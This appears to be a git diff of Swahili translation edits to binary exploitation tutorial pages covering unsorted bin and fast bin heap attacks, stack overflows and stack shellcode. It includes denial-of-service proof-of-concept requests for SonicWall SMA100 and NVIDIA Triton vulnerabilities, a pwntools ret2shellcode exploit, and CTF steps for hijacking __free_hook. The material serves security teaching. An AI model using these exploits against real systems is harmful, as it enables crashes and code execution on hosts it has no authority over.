Unsorted Bin Infoleak Attack -Hii kwa kweli ni dhana rahisi. Chunks katika unsorted bin zitakuwa na pointers. Chunk ya kwanza katika unsorted bin itakuwa na viungo vya **`fd`** na **`bk`** **vinavyorejelea sehemu ya main arena (Glibc)**.\ -Kwa hiyo, ikiwa unaweza **kuweka chunk ndani ya unsorted bin na kuisoma** (use after free) au **kuiallocate tena bila kuandika juu angalau moja ya pointers** kisha **kuisoma**, unaweza kupata **Glibc info leak**. +Hii ni dhana rahisi kabisa. Chunks katika unsorted bin zitakuwa na pointers. Chunk ya kwanza katika unsorted bin itakuwa na viungo vya **`fd`** na **`bk`** **vinavyoelekeza kwenye sehemu ya main arena (Glibc)**.\ +Kwa hiyo, ikiwa unaweza **kuweka chunk ndani ya unsorted bin na kui-soma** (use after free) au **kuui-allocate tena bila kuandika juu ya angalau moja ya pointers** kisha **kusoma** hiyo chunk, unaweza kupata **Glibc info leak**. -A attack sawa [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ilikuwa kutumia muundo wa chunks 4 (A, B, C na D - D iko tu kuzuia consolidation na top chunk) hivyo overflow ya null byte kwenye B ilitumika kufanya C kuonyesha kuwa B haikutumika. Pia, kwenye B `prev_size` ilibadilishwa hivyo ukubwa, badala ya kuwa ukubwa wa B, ulikuwa A+B.\ -Kisha C ilifutwa, na ikaunganishwa na A+B (lakini B bado ilikuwa inatumika). Chunk mpya ya ukubwa A ilitengenezwa kisha libc leaked addresses ziliandikwa ndani ya B kutoka pale zilipoleak. +A [**shambulio sawa kilichotumika katika writeup hii**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), kilitumia muundo wa chunks 4 (A, B, C na D - D ilikuwepo tu kuzuia consolidation na top chunk) hivyo overflow ya null byte katika B ilitumika kufanya C kuonyesha kuwa B haikutumika. Pia, ndani ya B data ya `prev_size` ilibadilishwa hivyo ukubwa badala ya kuwa ukubwa wa B ulikuwa A+B.\ +Kisha C ilifunguliwa (deallocated), na ikaunganishwa na A+B (lakini B bado ilikuwa inatumika). Chunk mpya ya ukubwa A ili-allocatewa na kisha libc leaked addresses ziliandikwa ndani ya B kutoka palipozoleak. ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- Lengo ni kuchapisha (overwrite) global variable na thamani kubwa kuliko 4869 ili iwezekane kupata flag na PIE haijatumiwa. -- Inawezekana kutengeneza chunks za ukubwa wowote na kuna heap overflow kwa ukubwa unaohitajika. -- Shambulio linaanza kwa kuunda chunks 3: chunk0 kwa kutumia overflow, chunk1 itakayofanywa overflow na chunk2 ili top chunk isiyoungane na zile zilizotangulia. -- Kisha, chunk1 inafree-uliwa na chunk0 inaoverflow hadi `bk` pointer ya chunk1 ionyeshe: `bk = magic - 0x10` -- Kisha, chunk3 inaitwa na kuallocate kwa ukubwa sawa na chunk1, ambayo itasababisha unsorted bin attack na kubadilisha thamani ya global variable, kuruhusu kupata flag. +- Lengo ni kuandika juu global variable na thamani kubwa kuliko 4869 ili iwezekane kupata flag na PIE haijawekwa. +- Inawezekana kutengeneza chunks za ukubwa wowote na kuna heap overflow kwa ukubwa unaotakiwa. +- Shambulio linaanza kwa kuunda chunks 3: chunk0 ili kutumika kwa overflow, chunk1 itakayezidiwa (to be overflowed) na chunk2 ili top chunk isiunge pamoja na zilizotangulia. +- Kisha, chunk1 inaachiliwa na chunk0 inafinywa hadi `bk` pointer ya chunk1 inavyoonyesha: `bk = magic - 0x10` +- Kisha, chunk3 ina-allocatewa kwa ukubwa sawa na chunk1, ambayo itachochea unsorted bin attack na itabadilisha thamani ya global variable, ikifanya iwezekane kupata flag. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- Function ya merge ni vulnerabile kwa sababu iwapo index zote mbili zinazopitishwa ni sawa itafanya realloc juu yake na kisha free lakini ikarejesha pointer kwa eneo lililofutwa ambalo linaweza kutumika. -- Kwa hiyo, **chunks 2 ziliundwa**: **chunk0** ambayo itachanganywa na yenyewe na chunk1 ili kuzuia consolidation na top chunk. Kisha, function ya **merge** inaitwa na chunk0 mara mbili ambayo itasababisha use after free. -- Kisha, function ya **`view`** inaitwa na index 2 (ambayo ni index ya chunk ya use after free), ambayo ita**leak** anwani ya libc. -- Kwa kuwa binary ina ulinzi wa kuzuia malloc sizes ndogo kuliko **`global_max_fast`** hivyo hakuna fastbin inayotumiwa, unsorted bin attack itatumika kuchapisha `global_max_fast`. -- Kisha, inawezekana kuita function ya edit kwa index 2 (pointer ya use after free) na kubadilisha `bk` pointer ili iendelee kuonyesha kwa `p64(global_max_fast-0x10)`. Kisha, kuunda chunk mpya kutatumia address ya free iliyoharibiwa (0x20) na **kusababisha unsorted bin attack** ikichapisha `global_max_fast` kuwa thamani kubwa sana, ikiruhusu sasa kuunda chunks katika fast bins. -- Sasa shambulio la **fast bin** linafanywa: -- Kwanza iligundulika kwamba inawezekana kufanya kazi na fast **chunks za size 200** katika eneo la **`__free_hook`**: +- Kazi ya merge ina vunjao kwa sababu ikiwa index zote mbili zilizoingizwa ni ile ile itafanya realloc juu yake kisha kuifree lakini ikirudisha pointer kwa eneo hilo lililofunguliwa ambalo linaweza kutumika. +- Kwa hivyo, **chunks 2 zinaundwa**: **chunk0** ambayo itaunganishwa na yenyewe na chunk1 ili kuzuia consolidation na top chunk. Kisha, function ya **merge** inaitwa na chunk0 mara mbili ambayo itasababisha use after free. +- Kisha, function ya **`view`** inaitwa na index 2 (ambayo ni index ya pointer ya use after free), ambayo itafanya **leak ya anwani ya libc**. +- Kwa kuwa binary ina ulinzi wa ku-malloc tu sizes zaidi ya **`global_max_fast`** hivyo hakuna fastbin inayotumika, unsorted bin attack itatumika kuandika juu global variable `global_max_fast`. +- Kisha, inawezekana kuita function ya edit na index 2 (pointer ya use after free) na kuandika juu `bk` pointer kuifanya iendelee kwa `p64(global_max_fast-0x10)`. Kisha, kuunda chunk mpya kutatumia address ya freed iliyodanganywa (0x20) kuta**trigger unsorted bin attack** na kuandika juu `global_max_fast` kuwa thamani kubwa sana, kuruhusu sasa kuunda chunks kwenye fast bins. +- Sasa shambulio la **fast bin** linatekelezwa: +- Kwanza iligundulika inawezekana kufanya kazi na fast **chunks za ukubwa 200** katika eneo la **`__free_hook`**: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,17 +117,17 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- Ikiwa tunafanikiwa kupata fast chunk ya size 0x200 katika eneo hili, itakuwa uwezekano wa kuchapisha function pointer itakayotekelezwa. -- Kwa hili, chunk mpya ya size `0xfc` inaundwa na merged function inaitwa nayo mara mbili, kwa njia hii tunapata pointer kwa freed chunk ya size `0xfc*2 = 0x1f8` katika fast bin. -- Kisha, function ya edit inaitwa kwenye chunk hii kubadilisha anwani ya **`fd`** ya fast bin hii ili iwekelee kwenye `__free_hook`. -- Kisha, chunk ya size `0x1f8` inaundwa ili kurejesha kutoka fast bin chunk isiyotumika, kisha chunk nyingine ya size `0x1f8` inaundwa kupata fast bin chunk katika **`__free_hook`** ambayo inachapishwa na anwani ya function ya **`system`**. -- Na hatimaye chunk yenye string `/bin/sh\x00` inafree-uliwa kwa kutumia function ya delete, kutekeleza **`__free_hook`** ambayo sasa inaonyesha system na `/bin/sh\x00` kama parameta. +- Ikiwa tunaweza kupata fast chunk ya size 0x200 katika eneo hili, itakuwa inaweza kuandika juu function pointer ambayo itatekelezwa +- Kwa hili, chunk mpya ya size `0xfc` inaundwa na merged function inaitwa na pointer hiyo mara mbili, kwa njia hii tunapata pointer kwa chunk iliyofunguliwa ya size `0xfc*2 = 0x1f8` katika fast bin. +- Kisha, function ya edit inaitwa katika chunk hii ili kubadilisha anwani ya **`fd`** ya fast bin hii kuielekeza kwenye **`__free_hook`**. +- Kisha, chunk ya size `0x1f8` inaundwa ili kurejesha kutoka fast bin chunk iliyokuwa haina maana hivyo chunk nyingine ya size `0x1f8` inaundwa kupata fast bin chunk katika **`__free_hook`** ambayo inaandika juu na anwani ya `system`. +- Na hatimaye chunk lenye string `/bin/sh\x00` linafrees kwa kuitwa delete function, kuchochea **`__free_hook`** ambayo inabeba system na `/bin/sh\x00` kama parameter. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Mfano mwingine wa kutumia overflow ya 1B kuunganisha chunks katika unsorted bin na kupata libc infoleak na kisha kufanya fast bin attack kubadilisha malloc hook kwa one gadget address +- Mfano mwingine wa kutumia 1B overflow kuunganisha chunks katika unsorted bin na kupata libc infoleak kisha kutekeleza fast bin attack kuandika juu malloc hook na one gadget address - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Tunaweza tu kuallocate chunks za size kubwa kuliko `0x100`. -- Chapisha `global_max_fast` kwa kutumia Unsorted Bin attack (inafanya kazi 1/16 mara kutokana na ASLR, kwa sababu tunahitaji kubadilisha bit 12, lakini lazima tubadilishe bit 16). -- Fast Bin attack kubadilisha array ya global ya chunks. Hii inatoa primitive ya arbitrary read/write, ambayo inaruhusu kubadilisha GOT na kuweka function fulani ili ianze kuonyesha `system`. +- Tunaweza tu kuallocate chunks za size zaidi ya `0x100`. +- Kufanya overwrite ya `global_max_fast` kwa kutumia Unsorted Bin attack (inafanya kazi 1/16 kwa sababu ya ASLR, kwa sababu tunahitaji kubadilisha 12 bits, lakini lazima tubadilishe 16 bits). +- Fast Bin attack kubadilisha global array ya chunks. Hii inatoa primitive ya arbitrary read/write, ambayo inaruhusu kubadilisha GOT na kuweka function fulani kuonyesha `system`. ## References diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index cb10cf2da..0d58446d8 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,15 @@ ## Stack Overflow ni nini -A **stack overflow** ni udhaifu unaotokea wakati programu inaandika data zaidi kwenye stack kuliko iliyopewa kuhifadhi. Data ziizozidi zitabadilisha **nafasi ya kumbukumbu iliyo karibu (overwrite adjacent memory space)**, na kusababisha uharibifu wa data halali, kuingiliwa kwa mtiririko wa udhibiti, na uwezekano wa kutekelezwa kwa msimbo wa uharibifu. Tatizo hili mara nyingi hutokana na matumizi ya functions zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye input. +A **stack overflow** ni udhaifu unaotokea wakati programu inaandika data nyingi zaidi kwenye stack kuliko ilivyogawiwa kubeba. Data hizi ziada zinaweza **kuandika juu ya nafasi za kumbukumbu jirani**, na kusababisha uharibifu wa data halali, kuvuruga control flow, na pengine utekelezaji wa malicious code. Tatizo hili mara nyingi linasababishwa na matumizi ya functions zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye input. -Shida kuu ya kufunika hii ni kwamba **saved instruction pointer (EIP/RIP)** na **saved base pointer (EBP/RBP)** za kurudi kwenye function iliyopita **zimehifadhiwa kwenye stack**. Kwa hivyo, mshambuliaji ataweza kuzifunika na **kudhibiti mtiririko wa utekelezaji wa programu**. +Shida kuu ya kuandika juu ni kwamba **saved instruction pointer (EIP/RIP)** na **saved base pointer (EBP/RBP)** za kurudi kwa function iliyotangulia zimetengwa kwenye stack. Kwa hiyo, mshambuliaji anaweza kuzibadilisha na **kudhibiti mtiririko wa utekelezaji wa programu**. -Udhaifu huu kawaida hutokea kwa sababu function **inakopa ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuweza kufunika sehemu nyingine za stack. +Udhaifu huu kawaida unatokea kwa sababu function **inakopa ndani ya stack bytes zaidi kuliko ilivyotengwa kwake**, hivyo kuwa na uwezo wa kuandika juu ya sehemu zingine za stack. -Baadhi ya functions za kawaida zilizo hatarini kwa hili ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, functions kama **`fgets`**, **`read`** & **`memcpy`** ambazo zinachukua **kigezo cha urefu (length argument)**, zinaweza kutumika kwa njia hatarishi ikiwa urefu uliobainishwa ni mkubwa kuliko ule uliotengwa. +Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`**, **`read`** & **`memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. + +For example, the following functions could be vulnerable: ```c void vulnerable() { char buffer[128]; @@ -19,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Kupata Stack Overflows offsets +### Kupata offsets za Stack Overflow -Njia ya kawaida zaidi ya kupata stack overflows ni kutoa input kubwa sana ya `A`s (e.g. `python3 -c 'print("A"*1000)'`) na kutegemea `Segmentation Fault` inayoonyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**. +Njia inayotumika zaidi kutambua stack overflows ni kutoa input kubwa sana ya `A`s (mfano `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` inayoonyesha kuwa **address `0x41414141` ilijaribiwa kufikiwa**. -Zaidi ya hayo, mara baada ya kugundua kuwa kuna udhaifu wa Stack Overflow, utahitaji kupata offset hadi iwezekane **kuandika upya return address**; kwa hili kawaida hutumika **De Bruijn sequence.** Kwa alfabeti yenye ukubwa _k_ na subsequences za urefu _n_, ni **mfululizo wa mviringo ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana mara moja tu** kama subsequence zilizo mfululizo. +Zaidi ya hayo, mara utakapogundua kuna Stack Overflow vulnerability utahitaji kupata offset hadi iwezekane **overwrite the return address**, kwa hili kawaida hutumika **De Bruijn sequence.** Kwa alfabeti ya ukubwa _k_ na subsequences za urefu _n_ ni **mlolongo wa cyclic ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana kabisa mara moja** kama subsequence mfululizo. -Kwa njia hii, badala ya kujaribu kwa mkono kugundua offset inayohitajika kudhibiti EIP, inawezekana kutumia mojawapo ya mfululizo huu kama padding kisha kutafuta offset ya bytes ambazo ziliendelea kuandika juu yake. +Kwa njia hii, badala ya kujaribu kubaini kwa mkono offset inayohitajika kudhibiti EIP, inawezekana kutumia mfululizo mmoja wa haya kama padding kisha kupata offset ya bytes ambazo zinaisha ku-overwrite. Inawezekana kutumia **pwntools** kwa hili: ```python @@ -46,16 +48,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Kutumia Stack Overflows +## Exploiting Stack Overflows -During an overflow (supposing the overflow size if big enough) you will be able to **kuandika juu** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -Njia ya kawaida ya kutumia aina hii ya udhaifu ni kwa **kubadilisha return address** ili wakati function itakapomalizika **control flow itapelekwa mahali popote mtumiaji alibainisha** kwenye pointer hii. +During an overflow (supposing the overflow size if big enough) you will be able to **kubadilisha** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ +The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. -Hata hivyo, katika nyakati nyingine labda tu **kuandika juu baadhi ya thamani za vigezo kwenye stack** inaweza kutosha kwa exploitation (kama katika changamoto rahisi za CTF). +However, in other scenarios maybe just **kuandika juu ya baadhi ya thamani za vigezo kwenye stack** might be enough for the exploitation (like in easy CTF challenges). ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. Kwa changamoto hizi unahitaji tu kupata **offset ya kuandika juu return address** na **kupata address ya function** ya kuitwa (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) itakuwa imezimwa) ili wakati function iliyo na udhaifu inaporudi, function iliyofichwa itaitwa: +In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called: {{#ref}} @@ -64,7 +66,7 @@ ret2win/ ### Stack Shellcode -Kwenye senario hii mshambuliaji anaweza kuweka shellcode kwenye stack na kutumia EIP/RIP iliyodhibitiwa kuruka kwenye shellcode na kutekeleza msimbo yoyote: +In this scenario the attacker could place a shellcode in the stack and use the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: {{#ref}} @@ -73,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. Mfano wa kawaida ni short jmp katika nSEH inayomwaga kwenye 5-byte near jmp iliyowekwa kabla kabisa ya nSEH kuruka mamia ya bytes nyuma kwenye mwanzo wa payload. +On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start. {{#ref}} @@ -82,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Mbinu hii ni mfumo wa msingi wa kukwepa ulinzi mkuu wa mbinu iliyotangulia: **No executable stack (NX)**. Na inaruhusu kutekeleza mbinu nyingine kadhaa (ret2lib, ret2syscall...) ambazo zitaisha zikifanya maagizo yoyote kwa kutumia maagizo yaliyopo ndani ya binary: +This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: {{#ref}} @@ -98,7 +100,7 @@ An overflow is not always going to be in the stack, it could also be in the **he ../libc-heap/heap-overflow.md {{#endref}} -## Aina za ulinzi +## Types of protections There are several protections trying to prevent the exploitation of vulnerabilities, check them in: @@ -109,34 +111,34 @@ There are several protections trying to prevent the exploitation of vulnerabilit ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Uonyesho mzuri wa kwanini **`sscanf` haipaswi kamwe kuaminiwa kwa kuchakata input isiyothibitishwa** ulitokea mwaka 2025 katika kifaa cha SonicWall SMA100 SSL-VPN. -Routi iliyo na udhaifu ndani ya `/usr/src/EasyAccess/bin/httpd` inajaribu kutoa version na endpoint kutoka URI yoyote inayoanza na `/__api__/`: +Mfano mzuri wa kwanini **`sscanf` haipaswi kamwe kuaminiwa kwa kuparsa input isiyoaminika** ulitokea mwaka 2025 kwenye kifaa cha SonicWall SMA100 SSL-VPN. +The vulnerable routine inside `/usr/src/EasyAccess/bin/httpd` attempts to extract the toleo and endpoint from any URI that begins with `/__api__/`: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. Uongofu wa kwanza (`%2s`) huhifadhi kwa usalama **baiti mbili** ndani ya `version` (mfano `"v1"`). -2. Uongofu wa pili (`%s`) **hauna kipimo cha urefu**, kwa hivyo `sscanf` itaendelea kunakili **hadi baiti ya kwanza ya NUL**. -3. Kwa sababu `endpoint` iko kwenye **stack** na ni **0x800 bytes long**, kutoa path ndefu kuliko 0x800 bytes kunaharibu kila kitu kilicho baada ya buffer ‑ ikiwa ni pamoja na **stack canary** na **saved return address**. +1. Ubadilishaji wa kwanza (`%2s`) unaweka kwa usalama **mbili** bytes ndani ya `version` (e.g. `"v1"`). +2. Ubadilishaji wa pili (`%s`) **haina specifier ya urefu**, kwa hivyo `sscanf` itaendelea kunakili **hadi byte ya kwanza ya NUL**. +3. Kwa kuwa `endpoint` iko kwenye **stack** na ni **0x800 bytes long**, kutoa path inayozidi 0x800 bytes kunaharibu kila kitu kinachofuatia buffer ‑ ikiwa ni pamoja na **stack canary** na **saved return address**. -Mfano wa proof-of-concept wa mstari mmoja unatosha kusababisha crash **kabla ya authentication**: +Mstari mmoja wa proof-of-concept unatosha kusababisha crash **before authentication**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple: +Ingawa stack canaries husababisha mchakato kusimamishwa, mshambulizi bado anapata primitive ya **Denial-of-Service** (na, ikiwa kutakuwa na additional information leaks, huenda code-execution). Somo ni rahisi: -* Daima toa **upana wa uwanja wa juu kabisa** (kwa mfano `%511s`). +* Daima eleza **maximum field width** (mfano `%511s`). * Pendelea mbadala salama kama `snprintf`/`strncpy_s`. -### Mfano halisi: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### Mfano wa Maisha Halisi: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’s Triton Inference Server (≤ v25.06) ilikuwa na **stack-based overflows** nyingi zinazofikika kupitia HTTP API yake. -Muundo hatarishi ulijirudia katika `http_server.cc` na `sagemaker_server.cc`: +NVIDIA’s Triton Inference Server (≤ v25.06) ilikuwa na multiple **stack-based overflows** zinazoweza kufikiwa kupitia HTTP API yake. +Muundo wenye udhaifu ulirudiwa mara kwa mara katika `http_server.cc` na `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -146,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) hurudisha **idadi ya sehemu za buffer za ndani** ambazo zinaunda mwili wa ombi la HTTP wa sasa. -2. Kila sehemu husababisha `evbuffer_iovec` ya **16-byte** kupewa nafasi kwenye **stack** kupitia `alloca()` – **bila kikomo cha juu**. -3. Kwa kutumia vibaya **HTTP _chunked transfer-encoding_**, mteja anaweza kulazimisha ombi kugawanywa kuwa **mamia ya maelfu ya vipande vya 6-byte** (`"1\r\nA\r\n"`). Hii inafanya `n` ikue bila kikomo hadi **stack** itakapomalizika. +1. `evbuffer_peek` (libevent) inarudisha **idadi ya sehemu za buffer za ndani** zinazounda mwili wa ombi la HTTP la sasa. +2. Kila sehemu husababisha `evbuffer_iovec` ya **16-byte** kugawiwa kwenye **stack** kupitia `alloca()` – **bila kikomo cha juu**. +3. Kwa kutumia vibaya **HTTP _chunked transfer-encoding_**, mteja anaweza kulazimisha ombi kugawanywa kuwa **mamia ya maelfu ya vipande vya 6-byte** (`"1\r\nA\r\n"`). Hii inafanya `n` ikue bila kikomo hadi **stack** itakapokosa nafasi. #### Uthibitisho wa Dhana (DoS) ```python @@ -174,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Ombi la takriban ~3 MB linatosha kuandika upya anwani ya kurudi iliyohifadhiwa na **crash** daemon kwenye default build. +Ombi la ~3 MB linatosha kuandika tena anwani ya kurudi iliyohifadhiwa na kusababisha **crash** ya daemon katika default build. -#### Patch & Mitigation -Toleo la 25.07 linabadilisha unsafe stack allocation kuwa **heap-backed `std::vector`** na linashughulikia `std::bad_alloc` kwa heshima: +#### Patch & Kupunguza Hatari +Toleo la 25.07 linachukua nafasi ya ugawaji wa stack usio salama na **heap-backed `std::vector`** na linashughulikia `std::bad_alloc` kwa upole: ```c++ std::vector v_vec; try { @@ -188,11 +190,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Mafunzo yaliyopatikana: -* Kamwe usiite `alloca()` ukiwa na ukubwa unaodhibitiwa na mshambulizi. -* Chunked requests zinaweza kubadilisha kwa kiasi kikubwa muundo wa buffers za upande wa server. -* Thibitisha / weka kikomo thamani yoyote inayotokana na maingizo ya mteja *kabla* ya kuitumia katika ugawaji wa kumbukumbu. +* Usiwahi kuita `alloca()` kwa ukubwa unaodhibitiwa na mshambuliaji. +* Maombi ya chunked yanaweza kubadilisha sana umbo la buffer za upande wa seva. +* Thibitisha / weka kikomo kwa thamani yoyote inayotokana na ingizo la mteja *kabla ya* kuitumia katika ugawaji wa kumbukumbu. -## References +## Marejeo * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 782ca077f..079f9518e 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Taarifa za Msingi -**Stack shellcode** ni mbinu inayotumika katika **binary exploitation** ambapo mshambuliaji anaandika shellcode kwenye stack ya programu dhaifu na kisha hubadilisha **Instruction Pointer (IP)** au **Extended Instruction Pointer (EIP)** ili kuielekeza kwenye eneo la shellcode hiyo, na kusababisha itekelezwe. Hii ni njia ya klasik inayotumika kupata ufikiaji usioidhinishwa au kutekeleza amri za hiari kwenye mfumo wa lengo. Hapa kuna uchanganuzi wa mchakato, ikiwa ni pamoja na mfano rahisi wa C na jinsi unavyoweza kuandika exploit inayoendana ukitumia Python na **pwntools**. +**Stack shellcode** ni mbinu inayotumika katika **binary exploitation** ambapo mshambuliaji anaandika shellcode kwenye stack ya programu yenye udhaifu na kisha hubadilisha **Instruction Pointer (IP)** au **Extended Instruction Pointer (EIP)** ili kuonyesha eneo la shellcode hiyo, na kusababisha itekelezwe. Hii ni mbinu ya kawaida inayotumika kupata ufikiaji usioidhinishwa au kutekeleza amri zozote kwenye mfumo lengwa. Hapa kuna muhtasari wa mchakato, ikijumuisha mfano rahisi wa C na jinsi unaweza kuandika exploit inayolingana ukitumia Python na **pwntools**. -### Mfano wa C: Programu dhaifu +### Mfano wa C: Programu yenye udhaifu -Tuanze na mfano rahisi wa programu dhaifu ya C: +Hebu tuanze na mfano rahisi wa programu ya C yenye udhaifu: ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -Programu hii iko hatarini kwa buffer overflow kutokana na matumizi ya `gets()` function. +Programu hii ni nyeti kwa buffer overflow kutokana na matumizi ya kazi ya `gets()`. ### Kujenga -Ili kujenga programu hii huku ukizima ulinzi mbalimbali (to simulate a vulnerable environment), unaweza kutumia amri ifuatayo: +Ili kujenga programu hii huku ukizima ulinzi mbalimbali (ili kuiga mazingira yenye udhaifu), unaweza kutumia amri ifuatayo: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Inazima stack protection. -- `-z execstack`: Hufanya stack executable, jambo linalohitajika kwa kutekeleza shellcode iliyohifadhiwa kwenye stack. -- `-no-pie`: Inazima Position Independent Executable, na hivyo kurahisisha kutabiri memory address ambapo shellcode yetu itakuwa. -- `-m32`: Hucompile programu kama 32-bit executable, mara nyingi kutumika kwa urahisi katika exploit development. +- `-fno-stack-protector`: Inazima ulinzi wa stack. +- `-z execstack`: Hufanya stack iwe executable, jambo muhimu ili kutekeleza shellcode iliyohifadhiwa kwenye stack. +- `-no-pie`: Inazima Position Independent Executable (PIE), ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwa. +- `-m32`: Inatengeneza programu kama executable ya 32-bit, mara nyingi hutumika kwa urahisi katika exploit development. ### Python Exploit using Pwntools -Hapa kuna jinsi unavyoweza kuandika exploit kwa Python ukitumia **pwntools** ili kufanya shambulio la **ret2shellcode**: +Hapa ni jinsi unavyoweza kuandika exploit kwa Python ukitumia **pwntools** ili kufanya **ret2shellcode** attack: ```python from pwn import * @@ -66,25 +66,25 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +This script inaunda payload inayojumuisha **NOP slide**, the **shellcode**, na kisha inaandika tena **EIP** na anwani inayorejelea NOP slide, kuhakikisha shellcode inatekelezwa. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +The **NOP slide** (`asm('nop')`) inatumiwa kuongeza nafasi kwamba utekelezaji "utalizuka" ndani ya shellcode yetu bila kujali anwani kamili. Badilisha hoja ya `p32()` kwenda anwani ya kuanzia ya buffer yako pamoja na offset ili kumaliza kwenye NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) 